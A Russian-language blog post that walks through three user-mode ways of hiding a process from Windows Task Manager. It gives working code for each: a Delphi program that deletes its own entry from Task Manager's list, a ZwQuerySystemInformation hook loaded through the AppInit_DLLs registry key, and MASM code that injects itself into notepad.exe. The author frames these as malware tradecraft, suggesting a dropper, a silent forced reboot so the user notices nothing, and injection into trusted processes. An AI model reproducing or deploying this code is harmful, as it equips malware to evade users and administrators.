Общее·количество·просмотров·страницы

вторник, 18 сентября 2012 г.

Сокрытие от ДЗ.Методы.


В общем как я говорил «завтра», но это вообще не завтра, а неизвестно когда, но вот сегодня выходит)))
Я не обнаружил совокупность методов сокрытия от ДЗ на уровне ring-3, поэтому решил сам все в кучу собрать. Итак речь пойдет о сокрытии из ДЗ windows.

инструменты:
1)ЯП (я использую ассемблер, делфи)
больше ничего.

Итак я знаю 3 метода сокрытия от ДЗ в ring3

1)Хак самого диспетчера задач(работа с его syslistview32)
2)Сокрытие путем перехвата функции ZwQuerySystemInformation
3)Инжект в процесс.

Так пожалуй начнем по порядку.

Хак диспетчера задач

Суть этого метода:

Каждый определенный интервал времени искать окно диспетчера задач.
При нахождении:
1)получить кол-во пунктов в listview
2)получить идентификатор потока(тот что создал этот лист)
3)открыть процесс который связан с этим идентификатором с определенными правами
4)выделить память в его про-ве.
5)перебирать все записи удаляя нашу программу.

переходим к кодесу:



program Project1;

{$APPTYPE CONSOLE}

uses
Windows,CommCtrl;

var
msg:TMSG;


procedure hide(TMlst:hwnd);
var
items,i: Integer;

buf: array[0..255] of Char;

PId: DWORD;
Process: THandle;
Point: Pointer;
NOBR: Cardinal;
Item: TLVItem;
S: String;

begin
items := SendMessage(TMlst, LVM_GETITEMCOUNT, 0, 0); // получаем кол-во пунктов в листе


GetWindowThreadProcessId(TMlst, @PId); // получаем идентификатор потока который создал лист

Process := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_VM_WRITE, False, PId); // открываем процесс с правами

Point := VirtualAllocEx(Process, nil, 4096, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE); //выделяем память в про-ве процесса


for I := 0 to items - 1 do // перебираем все записи
begin
item.mask := LVIF_TEXT;
item.iItem := I;
item.iSubItem := 0; // начиная с первого столбца
item.cchTextMax := SizeOf(buf);
item.pszText := Pointer(Cardinal(Point) + SizeOf(TLVItem)); // тут рез-тат

WriteProcessMemory(Process, Point, @Item, SizeOf(TLVItem), nobr);
SendMessage(TMlst, LVM_GETITEM, I, lparam(Point));
ReadProcessMemory(Process, Pointer(Cardinal(Point) + SizeOf(TLVItem)), @buf[0], SizeOf(buf), nobr); // читаем рез-ат

S := buf;

if (S = 'Project2.exe') // определяем какой итем затирать
then SendMessage(TMlst, LVM_DELETEITEM, i, 0);
end;
VirtualFreeEx(Process, Point, 0, MEM_RELEASE); // чистим за собой
CloseHandle(Process)
end;


procedure SearchTM;
var
TM, Lstv: HWND;
begin
TM := FindWindow('#32770', nil); // класс окна
if TM = 0 then exit;
Lstv := FindWindowEx(TM, 0, '#32770', nil); // первый список
Lstv := FindWindowEx(lstv, 0, 'SysListView32', nil); //список «процессы»
if lstv <> 0 then  hide(lstv); // если нашли то скрываем(удаляем)
end;

procedure timerproc; // процедура таймера, без комментариев
begin
searchtm;
end;

procedure goTimer(Interval:integer);
begin
asm
push offset TimerProc
push interval
push 0
push 0
call SetTimer
end;
end;

begin

goTimer(1); // тут понятно,запускаем таймер с минимальным интервалом
while (GetMessage(Msg,0,0,0)) Do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.


На этом с первым методом покончено.тут думаю никаких сложностей, алгоритм предоставлен, важные участки кода откоментированны.

2)Метод хорошо описан на васме. Операции выносятся в отдельную длл, я приведу пример dll не той что инжектится удаленными потоками, как писать такие перехваты я описывал в одной из своих статей.
Здесь будет речь идти о внедрении через реестр, так называемый метод AppInit_DLLs.

Метод, наверное, один из самых элементарных и заключается в модификации некоего ключа в реестре, и все библиотеки указанные в этом ключе загружаются в адресное про-во приложений использующих user32.dll, а это 99% приложений.

Все АПИ получения списка процессов обращаются к ZwQuerySystemInformation

Эта функция может возвращать различные классы информации, каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:

const // SYSTEM_INFORMATION_CLASS
  SystemBasicInformation                =           0;
  SystemProcessorInformation            =        1;
  SystemPerformanceInformation                 =          2;
  SystemTimeOfDayInformation                  =          3;
  SystemNotImplemented1               =          4;
  SystemProcessesAndThreadsInformation  =          5;
  SystemCallCounts                      =   6;
  SystemConfigurationInformation        =     7;
  SystemProcessorTimes                    =          8;
  SystemGlobalFlag                           =          9;
  SystemNotImplemented2               =          10;
  SystemModuleInformation                         =          11;
  SystemLockInformation                      =     12;
  SystemNotImplemented3                    =     13;
  SystemNotImplemented4                           =          14;
  SystemNotImplemented5                    =     15;
  SystemHandleInformation                          =          16;
  SystemObjectInformation               =          17;
  SystemPagefileInformation            =          18;
  SystemInstructionEmulationCounts      =   19;
  SystemInvalidInfoClass                =            20;
  SystemCacheInformation                =         21;
  SystemPoolTagInformation            =          22;
  SystemProcessorStatistics             =            23;
  SystemDpcInformation                   =          24;
  SystemNotImplemented6                    =     25;
  SystemLoadImage                       = 26;
  SystemUnloadImage                     =            27;
  SystemTimeAdjustment                  =          28;
  SystemNotImplemented7               =          29;
  SystemNotImplemented8                    =     30;
  SystemNotImplemented9               =          31;
  SystemCrashDumpInformation                  =          32;
  SystemExceptionInformation                     =          33;
  SystemCrashDumpStateInformation          =          34;
  SystemKernelDebuggerInformation           =          35;
  SystemContextSwitchInformation        =   36;
  SystemRegistryQuotaInformation        =    37;
  SystemLoadAndCallImage                         =          38;
  SystemPrioritySeparation                =          39;
  SystemNotImplemented10                         =          40;
  SystemNotImplemented11                         =          41;
  SystemInvalidInfoClass2                =          42;
  SystemInvalidInfoClass3                =          43;
  SystemTimeZoneInformation                     =          44;
  SystemLookasideInformation                     =          45;
  SystemSetTimeSlipEvent                =          46;
  SystemCreateSession                       =          47;
  SystemDeleteSession                       =          48;
  SystemInvalidInfoClass4               =           49;
  SystemRangeStartInformation                    =          50;
  SystemVerifierInformation             =          51;
  SystemAddVerifier                         =          52;
  SystemSessionProcessesInformation          =          53;

для скрытия процесса, необходимо сравнить имя каждого возвращаемого процесса  и имя которое надо скрыть. Первую запись обычно не трогаем, т.к. это процесс «система».
нам нужно просто сдвигать структуры следующие «за» ней, на размер предыдущей записи.

Код:

function NewQuerySystemInformation(SystemInformationClass: DWORD; SystemInformation: Pointer;
   SystemInformationLength: DWORD; ReturnLength:PCardinal): NTStatus; stdcall;
var
SP, back:PSYSTEM_PROCESSES;
begin
UnSetCodeHook(@Jumper);
Result := ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
                                   SystemInformationLength, ReturnLength);
SetCodeHook(Jumper.Address, @NewQuerySystemInformation, @Jumper);

if SystemInformationClass <> 5 then exit;
if Result <> STATUS_SUCCESS then exit;

ZeroMemory(@back, SizeOf(back));
SP := SystemInformation;
repeat
 if SP^.ProcessName.Buffer = 'name.exe' then
  back^.NextEntryDelta := back^.NextEntryDelta + SP^.NextEntryDelta;
 back := SP;
 SP := pointer(dword(SP) + SP^.NextEntryDelta);
until SP^.NextEntryDelta = 0;
end;
======================================================================== 
type
PFunctionRestoreData = ^ TFunctionRestoreData;
TFunctionRestoreData = packed record
 Address: Pointer;
 val1: Byte;
 val2: DWORD;
end;

 function UnSetCodeHook(RestoreDATA: PFunctionRestoreData): Boolean; stdcall;
 function SetProcedureHook(ModuleHandle: HMODULE; ProcedureName: PChar;
   NewProcedureAddress: Pointer; RestoreDATA: PFunctionRestoreData): Boolean; stdcall;
 function SetCodeHook(ProcAddress, NewProcAddress: Pointer;
                      RestoreDATA: PFunctionRestoreData): Boolean; stdcall;

implementation

function UnSetCodeHook(RestoreDATA: PFunctionRestoreData):Boolean;
var
ProcAddress: Pointer;
OldProtect: DWORD;
begin
Result := False;
ProcAddress := RestoreDATA^.Address;
if not VirtualProtect(ProcAddress, 5, PAGE_EXECUTE_READWRITE, OldProtect) then exit;
Byte(ProcAddress^) := RestoreDATA^.val1;
DWORD(Pointer(DWORD(ProcAddress) + 1)^) := RestoreDATA^.val2;
Result := VirtualProtect(ProcAddress, 5, OldProtect, OldProtect);
end;

function SetCodeHook(ProcAddress, NewProcAddress: pointer; RestoreDATA:PFunctionRestoreData):boolean;
var
OldProtect, JMPValue:DWORD;
begin
Result := False;
if not VirtualProtect(ProcAddress, 5, PAGE_EXECUTE_READWRITE, OldProtect) then exit;
JMPValue := DWORD(NewProcAddress) - DWORD(ProcAddress) - 5;
RestoreDATA^.val1 := Byte(ProcAddress^);
RestoreDATA^.val2 := DWORD(Pointer(DWORD(ProcAddress)+1)^);
RestoreDATA^.Address := ProcAddress;
Byte(ProcAddress^) := $E9;
DWORD(Pointer(DWORD(ProcAddress) + 1)^) := JMPValue;
Result := VirtualProtect(ProcAddress, 5, OldProtect, OldProtect);
end;

function SetProcedureHook(ModuleHandle:HMODULE;ProcedureName:PChar;NewProcedureAddress:Pointer;
   RestoreDATA: PFunctionRestoreData):Boolean;
var
ProcAddress:Pointer;
begin
ProcAddress := GetProcAddress(ModuleHandle, ProcedureName);
Result := SetCodeHook(ProcAddress, NewProcedureAddress, RestoreDATA);
end;

в общем все это не имеет смысла объяснять так как на васме все очень хорошо и толково расписано, я лишь привел немного другой код, который инжектится через реестр.доделать инжектор удаленными потоками- 20-30 минут работы, а то гляди и меньше.

ключ этот находится тут
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

В этом параметре может хранится список из нескольких DLL, разделённых пробелом или запятой. Так как пробел здесь является разделителем, в именах файлов не должно быть пробелов. Если DLL лежит в системном каталоге Windows (например, C:\Windows\System32), то достаточно указать только имя файла. Вы также можете указать полный путь до библиотеки, но учтите, что система принимает во внимание путь только первой DLL из списка, остальные пути она игнорирует. Поэтому лучше всего копировать все библиотеки, которые вы хотите внедрить, в системную папку и указывать в списке только имена файлов.

в целом алгоритм в том что бы нести dll в ресурсах (а-ля дропер) и выгружать.

У метода есть несколько минусов:
для инжекта необходим ребут: как сделать форсированный ребут:
получить привелегии SE_SHUTDOWN_NAME
вызвать ф-ю InitiateSystemShutdownExA с параметрами:
(NULL, Message, Timeout, 1, 1, SHTDN_REASON_MAJOR_APPLICATION or SHTDN_REASON_MINOR_INSTALLATION or SHTDN_REASON_FLAG_PLANNED)
1-сек и мгновенный ребут, никто ничего даже не поймет ;)

второй минус: dll будет напостой висеть в памяти, что конечно в своем роде «по быдляцки» ))

пара плюсов:
метод не слишком палевный если не делать ребут самостоятельно, рано или поздно (если речь о стационаре) комп вырубят.

и еще т.к. библиотека грузится во ВСЕ процессы ее невозможно удалить из списка.

Вот и все по второму методу.


3)Метод- инжект. смысл в том что мы инжектируем код (не библиотеку) и этот код в выделенном пр-ве выполняет нужные нам действия. Хорошо тем что не требует dll на борту, можно заинжектиться в доверенный процесс (с получением соотв. привелегий) и дальше догадайтесь что).


.386
.model flat, stdcall
option casemap :none


include include\windows.inc

include include\kernel32.inc
include include\user32.inc

includelib lib\kernel32.lib
includelib lib\user32.lib


.data
name db 'notepad.exe',0
Msg db 'Injected!',0
Cap db 'Injected!',0


.data?
SInfo STARTUPINFO <>
PInfo PROCESS_INFORMATION <>
hModule dword ?
dwSize dword ?

.code
Thread proc
invoke MessageBox, 0, addr Msg, addr Cap, 0
invoke ExitProcess, 0
Thread endp

start:
invoke GetModuleHandle, 0 ; хэндл нашего модуля
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER ; заставим компилятор думать что бы в этом регистре был адрес структуры IMAGE_DOS_HEADER
add edi, [edi].e_lfanew   ; что бы добраться до заголовка ПЕ надо значение из e_lfanew DOS заголовка
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER    ; адрес опционального заголовка
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov dwSize, eax
assume edi:NOTHING

invoke CreateProcess,0,addr name,0,0,FALSE,CREATE_SUSPENDED,0,0,addr SInfo,addr PInfo  ; создаем процесс
invoke VirtualAllocEx, PInfo.hProcess, hModule, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE ;выделяем память
invoke WriteProcessMemory, PInfo.hProcess, eax, hModule, dwSize, NULL   ; туда копируемся
invoke CreateRemoteThread, PInfo.hProcess, 0, 0, addr Thread, 0, 0, NULL ; оттуда пускаем удаленный поток

invoke ExitProcess, 0
end start

Опять же алгоритм и комментарии… инжектится в блокнот если тот запущен и выдаем сообщение, процесса нет))).

я тут не расписывал включение привилегий отладчика и внедрения в доверенный процесс, все это я уже описывал или описывал кто то еще.
так что вот в целом что удалось накопать и рассказать, спасибо за внимание мне было очень трудно перебороть лень и че то запостить ;)

Комментариев нет:

Отправить комментарий